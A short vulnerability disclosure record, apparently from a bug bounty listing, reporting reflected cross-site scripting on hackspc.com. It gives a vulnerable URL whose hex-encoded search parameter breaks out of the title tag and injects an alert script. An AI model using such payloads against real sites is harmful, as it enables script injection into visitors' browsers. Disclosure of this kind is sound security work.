hackspc.com XSS vulnerability

Vulnerable URL: http://hackspc.com/?s=\x3c\x2f\x74\x69\x74\x6c\x65\x3e\x3c\x73\x63\x72\x69\x70\x74\x3e\x61\x6c\x65\x72\x74\x28\x2f\x4f\x50\x45\x4e\x42\x55\x47\x42\x4f\x55\x4e\x54\x59\x2f\x29\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e Details: Description|...